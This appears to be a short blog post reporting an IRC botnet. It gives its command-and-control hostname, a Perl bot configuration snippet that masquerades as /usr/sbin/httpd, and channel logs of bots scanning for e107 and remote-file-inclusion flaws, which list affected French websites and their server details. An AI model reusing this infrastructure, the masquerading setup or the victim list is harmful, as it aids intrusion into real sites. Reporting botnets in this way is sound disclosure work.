phython.no-ip.biz(botnet hosted in Korea, Republic Of Seoul Hanaro Telecom Inc)

Linux bots here from egyptian hecker

my $fakeproc = “/usr/sbin/httpd”;
my $ircserver = “phython.no-ip.biz”;
my $ircport = “7000”;
my $nickname = “BR[“.int(rand(100)).”]”;
my $ident = “Bra”;
my $channel = “#help”;
my $admin = “Bjes”;

scaning actions

Now talking in #help
Topic On: [ #help ] [ RFI][-][][ http://www.stanford.edu//?_SERVER[DOCUMENT_ROOT]= ]
Topic By: [ Subali ]
Modes On: [ #help ] [ + ]
(Br04) [e107][ http://supremesgamers.fr/contact.php ] [ON] Linux webdb2-vps.lws-hosting.com 2.6.26-2-openvz-686 #1 SMP Sun Jun 21 07:07:25 UTC 2009 i686
(Br04) Exalead 2000 =(Xcode)=> 1718
(Br04) [e107][ http://menilmusique.free.fr/contact.php ][ON] Linux phpn2-g5.priv.free.fr
(Br04) [e107][ http://www.extrem-esport.fr/contact.php ] [ON]
(Br04) [e107][ http://bslpunishers.fr/contact.php ] [ON]
(Br04) [e107][ http://www.lesgrosbourrins.fr/contact.php ] [ON]
(Br04) [e107][ http://mypocketbike.free.fr/contact.php ] [ON] Linux phpn3-g5.priv.free.fr

infos about hosting:
http://whois.domaintools.com/221.141.3.105

Categories: Uncategorized